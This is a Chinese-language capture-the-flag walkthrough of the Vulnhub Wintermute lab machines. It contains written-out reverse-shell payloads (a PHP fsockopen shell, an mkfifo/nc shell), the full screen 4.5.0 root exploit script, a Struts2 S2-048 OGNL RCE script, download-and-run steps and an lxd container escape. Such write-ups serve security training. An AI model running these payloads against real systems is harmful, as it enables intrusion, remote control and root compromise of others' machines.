[Vulnhub]Wintermute LFI+SMTP+Screen+Structv2-RCE+Lxc逃逸

概要

image-35.png

靶机 192.168.8.104

信息收集

$ nmap 192.168.8.103 --min-rate 1000 -sC -sV

结果:

Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-15 05:54 EDT
Nmap scan report for 192.168.8.103 (192.168.8.103)
Host is up (0.035s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
25/tcp   open  smtp            Postfix smtpd
|_smtp-commands: straylight, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
| ssl-cert: Subject: commonName=straylight
| Subject Alternative Name: DNS:straylight
| Not valid before: 2018-05-12T18:08:02
|_Not valid after:  2028-05-09T18:08:02
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http            Apache httpd 2.4.25 ((Debian))
|_http-title: Night City
|_http-server-header: Apache/2.4.25 (Debian)
3000/tcp open  hadoop-datanode Apache Hadoop
| http-title: Welcome to ntopng
|_Requested resource was /lua/login.lua?referer=/
|_http-trane-info: Problem with XML parsing of /evox/about
| hadoop-tasktracker-info:
|_  Logs: submit
| hadoop-datanode-info:
|_  Logs: submit
Service Info: Host:  straylightService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.39 seconds

我们访问3000端口,发现存在一个ntopng服务

image.png

ntopng 是一个高性能的网络监控工具和流量分析平台。它提供了丰富的图形用户界面,用于实时监控网络流量和分析网络行为。ntopng 是 ntop 项目的升级版,具有更强的功能和更高的性能。

username:admin
password:admin

通过默认账密进入后台,发现在80端口还开放了一个目录turing-bolo

image-1.png

http://192.168.8.103//turing-bolo/

image-2.png

image-3.png

把图中三个文件拼接到url
molly.log
armitage.log
riviera.log

http://192.168.8.103//turing-bolo/bolo.php?bolo=molly.log

image-4.png

当我们删除.log后缀后

http://192.168.8.103//turing-bolo/bolo.php?bolo=molly

image-5.png

所以bolo.php会将传入的参数后缀加上.log再进行包含

根据Nmap扫描报告中,发现SMTP服务开启,那么在/var/log中必然存在一个mail.log的日志文件。

http://192.168.8.103//turing-bolo/bolo.php?bolo=/var/log/mail

image-6.png

$ nc -nC 192.168.8.103 25

image-7.png

http://192.168.8.103//turing-bolo/bolo.php?bolo=/var/log/mail

image-8.png

Get Shell

$ nc -lvnp 10032

http://192.168.8.103//turing-bolo/bolo.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.8.107%22%2C10032%29%3Bexec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27&bolo=/var/log/mail

image-9.png

Local.txt 截屏

image-14.png

Local.txt 内容

dainowandiawd

权限提升

$ find / -perm -u=s -type f 2>null

image-10.png

我们搜索权限提升的利用脚本

$ searchsploit screen 4.5.0

image-11.png

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

$ cd /tmp
$ wget http://192.168.8.107/root.sh
$ chmod +x root.sh
$ ./root.sh

image-12.png

Proot.txt 截屏

image-13.png

Proot.txt 内容

dainowandiawd

靶机 192.168.28.4

信息收集

在note.txt中发现了一段描述

image-18.png

Devs,Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her interact w/ the AI via a web-based GUI.The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access on the Freeside network. It is within out internal admin network, but still, it should be off the network completely. For the sake of humanity, user access should only be allowed via the physical console...who knows what this thing can do.Anyways, we've deployed the war file on tomcat as ordered - located here:/struts2_2.3.15.1-showcaseIt's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure this thing.Regards,Bob Laugh
Turing Systems Engineer II

管理员似乎添加了一个struts2_2.3.15.1,但似乎存在风险

通过arp发现局域网内还存在其他主机,所以我们需要横向

image-15.png

./chisel server -p 2333 --socks5

./chisel client 192.168.8.103:2333 socks

通过proxychais连接127.0.0.1:1080,这里你可以使用proxychains -h,来找到配置文件

进行扫描

$ proxychains -f ./internal.conf nmap 192.168.28.4 --min-rate 1000 -Pn

image-16.png

$ proxychains -f ./internal.conf nmap -p 8009,8080 192.168.28.4 -Pn -sC -sV

image-17.png

Get Shell

根据之前文档中提示,访问目录

image-19.png

$ searchsploit struts2

image-20.png

#!/usr/bin/python
# -*- coding: utf-8 -*-# Just a demo for CVE-2017-9791import requestsdef exploit(url, cmd):print("[+] command: %s" % cmd)payload = "%{"payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."payload += "(#_memberAccess?(#_memberAccess=#dm):"payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."payload += "(#ognlUtil.getExcludedPackageNames().clear())."payload += "(#ognlUtil.getExcludedClasses().clear())."payload += "(#context.setMemberAccess(#dm))))."payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmdpayload += "}"data = {"name": payload,"age": 20,"__checkbox_bustedBefore": "true","description": 1}headers = {'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'}requests.post(url, data=data, headers=headers)if __name__ == '__main__':import sysif len(sys.argv) != 3:print("python %s <url> <cmd>" % sys.argv[0])sys.exit(0)print('[*] exploit Apache Struts2 S2-048')url = sys.argv[1]cmd = sys.argv[2]exploit(url, cmd)# $ ncat -v -l -p 4444 &# $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"

首先我们要在主机B利用socat进行端口转发,在主机B本地监听10034端口,并且将数据转发至Kali机子192.168.8.107:10034

$ socat TCP-LISTEN:10034,fork,reuseaddr TCP:192.168.8.107:10034 &

image-21.png

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.28.3 10034 >/tmp/f

将以上命令保存至 re.sh

(Kali)$ python3 -m http.server 10034

(kali)$ proxychains -f internal.conf python3 exp.py http://192.168.28.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.28.3:10034/re.sh -O /tmp/re.sh"

image-22.png

(kali)$ nc -lvnp 10034

(kali)$ proxychains -f internal.conf python3 exp.py http://192.168.28.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/re.sh"

(kali)$ proxychains -f internal.conf python3 exp.py http://192.168.28.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/re.sh"

image-23.png

Local.txt 截屏

image-31.png

Local.txt 内容

dwhai1d2

权限提升

由于该连接及其不稳定所以我们通过ssh进行连接

我们尝试在/home命令下,检测写入权限

ta@neuromancer:/home$ for dir in /home/*/; do touch "$dir/1.txt"; done

image-26.png

发现用户:ta可以创建文件

ta@neuromancer:/home$ ssh-keygen
ta@neuromancer:/home$ cat /home/ta/.ssh/id_rsa
ta@neuromancer:~/.ssh$ cat id_rsa.pub >authorized_keys

image-27.png

复制私钥保存到kali,文件名id_rsa

(kali)$ chmod 400 id_rsa

但是对方ssh服务开放在端口34483。

image-28.png

(kali)$ proxychains -f internal.conf ssh -i id_rsa ta@192.168.28.4 -p 34483

image-29.png

我们发现用户ta存在于lxd组,我们可以利用它进行提权

image-30.png

(kali)$ git clone https://github.com/saghul/lxd-alpine-builder.git

(kali)$ cd lxd-alpine-builder

构建包

(kali)$ sudo ./build-alpine

(192.168.8.103)$ socat TCP-LISTEN:10035,fork,reuseaddr TCP:192.168.8.107:10035 &

(kali)$ python3 -m http.server 10035

ta@neuromancer:/tmp$ wget http://192.168.28.3:10035/alpine-v3.20-x86_64-20240613_1112.tar.gz /tmp/alpine-v3.20-x86_64-20240613_1112.tar.gz

image-24.png

ta@neuromancer:/tmp$ lxc image import /tmp/alpine-v3.20-x86_64-20240613_1112.tar.gz --alias test

ta@neuromancer:/tmp$ lxc image list

image-25.png

ta@neuromancer:/tmp$ lxc init test ignite -c security.privileged=true

lxc init myimage ignite:初始化一个名为 ignite 的容器,基于 myimage 镜像。
-c security.privileged=true:配置容器为特权容器。这意味着容器中的进程将以 root 权限运行,并且可能直接访问宿主机的设备和文件系统。

ta@neuromancer:/tmp$ lxc config device add ignite test disk source=/ path=/mnt/root recursive=true

选择 /mnt/root 作为挂载点是为了确保挂载操作安全、明确和无冲突。通过这种方式,你能够在容器内方便地访问和操作宿主机的文件系统,从而实现提权操作。

lxc config device add ignite mydevice disk:向 ignite 容器添加一个名为 mydevice 的设备,类型为 disk。
source=/:指定宿主机的根目录 / 作为源目录。
path=/mnt/root:在容器内将该目录挂载到 /mnt/root。
recursive=true:递归挂载,包含子目录。

$ lxc start ignite

$ lxc exec ignite /bin/sh

成功逃逸

image-32.png

Proot.txt 截屏

image-33.png

Local.txt 内容

diwoinwad

image-34.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/28054.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

亚马逊测评自养号与机刷的区别

前言&#xff1a; 在亚马逊运营的领域中&#xff0c;经常有人问&#xff1a;测评自养号就是机刷吗&#xff1f;它们两者有什么区别&#xff1f;做自养号太慢、太需要时间了&#xff0c;如果用机刷的话&#xff0c;会不会简单高效一点&#xff1f; 在这篇文章中&#xff0c;我…

Java装饰者模式详解:为对象动态添加功能

装饰者模式是一种允许向单个对象添加新功能的设计模式&#xff0c;而不是向整个类添加特性。这种模式创建了一个包装对象&#xff0c;也称为“装饰者”&#xff0c;这个包装对象包含了主对象的引用以及新增的功能。本文将探讨装饰者模式的结构、实现方式以及在Java中的应用示例…

SpringCloud 网关Gateway配置并使用

目录 1 什么是网关&#xff1f; 2 Gateway的使用 2.1 在其pom文件中引入依赖 2.2 然后gateway配置文件中配置信息 2.3 启动网关微服务 3 网关处理流程 4 前端-网关-微服务-微服务间实现信息共享传递 1 什么是网关&#xff1f; 网关&#xff1a;就是网络的关口&#xff…

【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 游戏表演赛分队(100分) - 三语言AC题解(Python/Java/Cpp)

🍭 大家好这里是清隆学长 ,一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-C/D卷的三语言AC题解 💻 ACM银牌🥈| 多次AK大厂笔试 | 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 📎在线评测链接 游戏表演赛分队(100分) 🌍 评测功能需要订阅专栏后私信联系…

【Android面试八股文】 GC的流程是怎么样的?介绍下GC回收机制与分代回收策略

文章目录 一、什么是垃圾(Garbage)?二、什么是可行性分析?三、什么是GC Root对象?四、引用关系有哪些?五、什么时候进行垃圾回收?六、垃圾收集算法6.1 标记-清除(Mark-Sweep)6.2 复制(Copying)6.3 标记-整理/压缩(Mark-Compact)6.4 分代收集(Generational Garbag…

No module named ‘torch.distributed.checkpoint.format_utils‘问题解决

完整代码&#xff1a; Traceback (most recent call last):File "/data/user/BMLU-use/src/English_chat/qwen1.5.py", line 97, in <module>main(model_pathargs.model_path,max_lengthargs.max_length,nameargs.name)File "/data/user/BMLU-use/src/En…

Python | Leetcode Python题解之第148题排序链表

题目&#xff1a; 题解&#xff1a; class Solution:def sortList(self, head: ListNode) -> ListNode:def merge(head1: ListNode, head2: ListNode) -> ListNode:dummyHead ListNode(0)temp, temp1, temp2 dummyHead, head1, head2while temp1 and temp2:if temp1.v…

2024hw蓝队面试题-1

使用过哪些设备&#xff0c;出现误报怎么办&#xff1f; 我使用过的设备包括各种防火墙、入侵检测系统(IDS)、入侵防御系统(IPS)、安全信息和事件管理(SIEM)系统等。在遇到误报时&#xff0c;我通常会首先确认这是一个真正的误报&#xff0c;而不是对系统的实际威胁。确认后&a…

现代信号处理14_基于蒙特卡洛的信号处理(CSDN_20240616)

Monte Carlo/Simulation方法 在统计上&#xff0c;样本数量是一个很重要的问题&#xff0c;在处理问题&#xff08;如计算样本均值&#xff09;的过程中&#xff0c;样本数量越多越好。但是在实际中&#xff0c;样本往往是稀缺的&#xff0c;获取数据就要付出代价。在贝叶斯理论…

SringBoot 如何使用HTTPS请求及Nginx配置Https

SringBoot 如何使用HTTPS请求及Nginx配置Https SringBoot 如何使用HTTPS请求生成证书导入证书及配制创建配置类将pfx转成.key和.pem Nginx 安装SSL依赖./configure 安装依赖编译安装完openssl后报了新错 Nginx配置 SringBoot 如何使用HTTPS请求 生成证书 由于业务数据在传输过…

重新安装TortoiseGit后提示权限错误问题解决

今天在Windows11系统中下载安装使用TortoiseGit可视化Git工具&#xff0c;进行代码提交管理。 由于电脑之前是一位开发人员在使用&#xff0c;所以曾经安装使用过这个工具。 重新安装好软件后&#xff0c;在coding网站中复制代码路径后&#xff0c;在本地目录通过鼠标右键选择…

idea插件开发之系列

idea插件开发之hello idea plugin 。 idea插件开发之在file setting中定义配置项 。 idea插件开发之定义侧边栏 。 idea插件开发之通过纯编码方式开发页面&#xff08;不使用form ui&#xff09; 。 idea插件开发之实现设置信息持久化存储 。

面向对象设计模式准则

一&#xff0c;简介 罗伯特C马丁在 21 世纪早期引入了名为「SOLID」的设计原则&#xff0c;指代了面向对象编程和面向对象设计的五个基本原则&#xff08;也有说六个的&#xff09;&#xff0c;即为 SOLIDD. 单一职责原则&#xff08;Single Responsibility Principle&#x…

每日一练——有效的括号

20. 有效的括号 - 力扣&#xff08;LeetCode&#xff09; 错误记录 #include<stddef.h> #include<stdlib.h> #include<assert.h> #include<stdbool.h>typedef char STDataType;typedef struct Stack {STDataType* a;int capacity;int top; } Stack;vo…

驾校在线考试系统源码 手机+PC+平板自适应

Thinkphp在线考题源码 驾校在线考试系统 手机PC平板 自适应&#xff0c;机动车驾驶培训学校驾校类网站源码带手机端 运行环境&#xff1a;phpmysql 内附安装说明 驾校在线考试系统源码 手机PC平板自适应

WDF驱动开发-内存缓冲区

驱动程序通常使用内存缓冲区向/从框架和其他驱动程序传递数据&#xff0c;或在本地存储信息。 WDF常见的内存缓冲区包括框架内存对象(WDFMEMORY)、 lookaside、 MDL 和 本地缓冲区。 使用框架内存对象 框架使用 内存对象 来描述驱动程序从中接收并传递给框架的内存缓冲区。 每…

[C++]使用C++部署yolov10目标检测的tensorrt模型支持图片视频推理windows测试通过

【测试通过环境】 vs2019 cmake3.24.3 cuda11.7.1cudnn8.8.0 tensorrt8.6.1.6 opencv4.8.0 【部署步骤】 获取pt模型&#xff1a;https://github.com/THU-MIG/yolov10训练自己的模型或者直接使用yolov10官方预训练模型 下载源码&#xff1a;https://github.com/laugh12321/yol…

波卡近期活动一览| Polkadot Decoded 2024 重磅来袭,300 万 DOT 将用于 DeFi 增长

Polkadot 生态近期活动精彩纷呈&#xff0c;线上线下火热进行中&#xff01;此外&#xff0c;Polkadot 2.0 的关键升级即将到来&#xff0c;Gavin Wood 博士也将在最新访谈节目中分享更多关于波卡的未来发展蓝图。波卡 DAO 通过提案&#xff0c;分配 300 万 DOT 支持 DeFi 生态…

C++小游戏 合集2

给大家整理了一些c小游戏希望大家喜欢 第一个球球飞车 #include <bits/stdc.h> #include <stdio.h> #include <conio.h> #include <cstdlib> #include <windows.h> #include <iostream> #include <fstream> using namespace std;i…

全量知识系统 程序详细设计 再审: 三个层次及相应的编程语言特点

Q1.今天我们重新聊聊全量知识系统&#xff08;以下简称“全知系统”&#xff09;程序详细设计的三个层次及其编程语言的主要特点. A1.全量知识系统程序的详细设计通常涉及三个主要层次&#xff1a;数据层、业务逻辑层以及用户界面层。每个层次都有其特定的功能和编程语言的主要…